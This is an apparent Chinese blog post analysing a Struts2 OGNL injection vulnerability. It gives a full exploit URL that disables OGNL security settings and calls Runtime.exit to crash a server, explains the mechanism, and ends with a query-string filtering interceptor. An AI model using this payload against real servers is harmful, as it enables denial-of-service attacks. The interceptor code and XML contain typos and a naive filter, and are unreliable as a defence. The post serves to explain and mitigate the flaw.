Struts漏洞分析

   Apache Struts团队已经发布了Struts 2.3.15.1安全更新版本。在Struts2.3.15.1版本之前,存在着严重的安全漏洞,如果现在一些比较大的网站是用JAVA做的,没有把版本升级,还用的是Strtus2.3.15.1版本之前的话,那么你们就要小心,服务器被黑了哦。 下面就来说一下之前版本,Struts2的漏洞是如何产生的,我们自己去做,该如何的去解决这个安全漏洞:

    我听有人说: “这算什么漏洞”,我想说的是:“你在浏览器就能把别个服务器搞蹦掉,让它停掉没工作了,这能不是高危漏洞么”。

   1. 我用的是struts_2.1.8.1这个版本,如果你用最新的安全版本,是不会出现这个安全问题的。
在浏览器输入如下地址:

http://www.xxxx.com/xxx.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

输入以后,服务器端就会崩溃。http://www.xxxx.com/xxx.action这个就不说是什么了,你这都不知道就不要看了。

   【说明: 
url中的\u0023实际上是代表#号,%20实际上是代表空格,\u003实际上是代表等于】

   2.产生漏洞的原因如下:
     上面的地址被浏览器会翻译成:
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(
#rt=@java.lang.Runtime@getRuntime()))=1
   
 当提交这个url后,经过了一个拦截器名为ParameterInterceptor。
其中有这么一行源代码:
  
try{
newStack.setValue(name,value);
}

利用stack.setValue(“name”,”aaa”);就把name属性的值改为aaa字符串。 在上述的url中,有两个至关重要的值:

在map栈中: 下图:
    

_memberAccess是OgnlContext中的一个属性,这是一个权限类SecurityMemberAccess,该权限类中有一个方法allowStaticMethodAccess:是否允许访问静态方法。通过上面的url,把该属性的值设置为了true(默认值为false),

context['xwork.MethodAccessor.denyMethodExecution']这个值为false,Ognl才能够执行自定义的变量,在map栈中的其中一个值,这个是一个boolean值,设置为true,ognl表达式就能够调用静态的方法

(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1则是一个shellcoade,ognl表达式执行静态方法,这样就调用java中的命令了。当执行(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1这个代码的时候相当于java.lang.Runtime.getRuntime().exit(1);,执行完毕后,使得我们的整个程序停掉了。

3.为什么会产生这样的漏洞呢?

struts2提供了存储数据valueStack

struts2提供了访问数据的ognl表达式

ognl表达式不但可以访问到valueStack中的值,而且还可以改变valueStack中的值调用valueStack.setValue

ognl表达式还能执行静态方法,并且嵌入一些shellcoade代码。

4.如果我们去做,怎么去解决?

做一个自定义的拦截器,用拦截器过滤url,含有\u0023这个字符串,就不让它执行以后的相应的操作。自定义的拦截器一定要在ParameterInterceptor执行之前执行就哦了。

@Override
public String intercept(ActionInvocation invocation) throws Exception(){
String s = ServletActionContext.getRequest().getQueryString();
if(s.contains("\\u0023")){
return "error";
}else{
return invocation.invole();
}
}

在struts的配置文件下配置一下就OK了,像这样就行:

<interceptors>
<interceptor name="definitionInterceptor" calss=".....definitionInterceptor"></interceptor>
<intercpeotr-stack name="myStack">
<interceptor-ref name="definitionInterceptor"></interceptor-ref>
<interceptor-ref name="defaultStackr"></interceptor-ref>
</interceptor-stack>
</interceptors>
<default-interceptor-ref name="myStack"></default-interceptor-ref>

有不懂的地方,可以给我留言。

Struts2漏洞分析,漏洞波及全系版本的更多相关文章

  1. [漏洞分析]thinkcmf 1.6.0版本从sql注入到任意代码执行

    0x00 前言 该漏洞源于某真实案例,虽然攻击没有用到该漏洞,但在分析攻击之后对该版本的cmf审计之后发现了,也算是有点机遇巧合的味道,我没去找漏洞,漏洞找上了我XD thinkcmf 已经非常久远了 ...

  2. CVE-2018-18820 icecast 栈缓冲区越界写漏洞分析

    前言 icecast 是一款开源的流媒体服务器 , 当服务器配置了 url 认证时,服务器在处理 HTTP 头部字段时错误的使用了 snprintf 导致栈缓冲区的越界写漏洞( CVE-2018-18 ...

  3. Nexus Repository Manager 3(CVE-2019-7238) 远程代码执行漏洞分析和复现

    0x00 漏洞背景 Nexus Repository Manager 3是一款软件仓库,可以用来存储和分发Maven,NuGET等软件源仓库.其3.14.0及之前版本中,存在一处基于OrientDB自 ...

  4. Elasticsearch 核心插件Kibana 本地文件包含漏洞分析(CVE-2018-17246)

    不久前Elasticsearch发布了最新安全公告, Elasticsearch Kibana 6.4.3之前版本和5.6.13之前版本中的Console插件存在严重的本地文件包含漏洞可导致拒绝服务攻 ...

  5. 「白帽挖洞技能」YxCMS 1.4.7 漏洞分析

    这几天有小伙伴留言给我们,想看一些关于后台的漏洞分析,今天i春秋选择YxCMS 1.4.7版本,理论内容结合实际案例进行深度分析,帮助大家提升挖洞技能. 注:篇幅较长,阅读用时约7分钟. YXcms是 ...

  6. [WEB安全]phpMyadmin后台任意文件包含漏洞分析(CVE-2018-12613)

    0x00 简介 影响版本:4.8.0--4.8.1 本次实验采用版本:4.8.1 0x01 效果展示 payload: http://your-ip:8080/index.php?target=db_ ...

  7. Thinkcmf任意漏洞包含漏洞分析复现

    简介 ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建.ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的 ...

  8. Windows SMBv3 CVE-2020-0796 漏洞分析和l漏洞复现

    0x00  漏洞描述 漏洞公告显示,SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码.攻击者利用该漏洞无须权限即可实现远 ...

  9. Java安全之Cas反序列化漏洞分析

    Java安全之Cas反序列化漏洞分析 0x00 前言 某次项目中遇到Cas,以前没接触过,借此机会学习一波. 0x01 Cas 简介 CAS 是 Yale 大学发起的一个开源项目,旨在为 Web 应用 ...

随机推荐

  1. SPOJ1557 GSS2

    不知道第几次回顾了,每次回顾感觉都有新的收获 这题YYZ认为非常的简单,我们一起去%%%她吧(洛谷$id: 54050$) 题面 给出$n$个数,有$q$个询问,求最大子段和,注意相同的数只算一次 做 ...

  2. JZYZOJ1540 BZOJ4035 [ haoi2015 上午] T3 博弈论 sg函数 分块 haoi

    http://172.20.6.3/Problem_Show.asp?id=1540 之前莫比乌斯反演也写了一道这种找规律分块计算的题,没觉得这么恶心啊. 具体解释看代码. 翻硬币的具体方法就是分别算 ...

  3. 莫队p2 【bzoj3809】Gty的二逼妹子序列

    发现一篇已经够长了...所以就放在这里吧... http://hzwer.com/5749.html ↑依然是看大牛题解过的   袜子那道题太简单了.... 然后被这道题超时卡了一段时间....... ...

  4. 2015 UESTC 搜索专题C题 基爷与加法等式 爆搜DFS

    基爷与加法等式 Time Limit: 20 Sec  Memory Limit: 256 MB 题目连接 http://acm.uestc.edu.cn/#/contest/show/61 Desc ...

  5. MySQL 之 Index Condition Pushdown(ICP)

    简介 Index Condition Pushdown (ICP)是MySQL 5.6 版本中的新特性,是一种在存储引擎层使用索引过滤数据的一种优化方式. 当关闭ICP时,index 仅仅是data ...

  6. Bipolar transistor boosts switcher's current by 12 times

    The circuit in Figure 1 uses a minimal number of external parts to raise the maximum output current ...

  7. Git分支模型

    转自:http://www.cnblogs.com/byeyear/archive/2012/11/28/2793374.html 本文介绍一种使用Git进行源代码管理的分支模型,着重于如何使用Git ...

  8. 独立成分分析 与 功能连接之间的关联尝试 by 张高燕

    在处理fMRI数据时,使用空间ICA的方法.   将一个四维的fMRI数据分解为空间pattern与时间序列的乘积. //这里的pattern=component   其中每一pattern的时间序列 ...

  9. scp遇到路径中有空格

    sudo scp root@1.1.1.1:/test/soft/123/Microsoft SQL Server 2000.iso .      错误! sudo scp root@1.1.1.1: ...

  10. 显示所有环境变量:env 或者 printenv

    显示所有环境变量:env 或者 printenv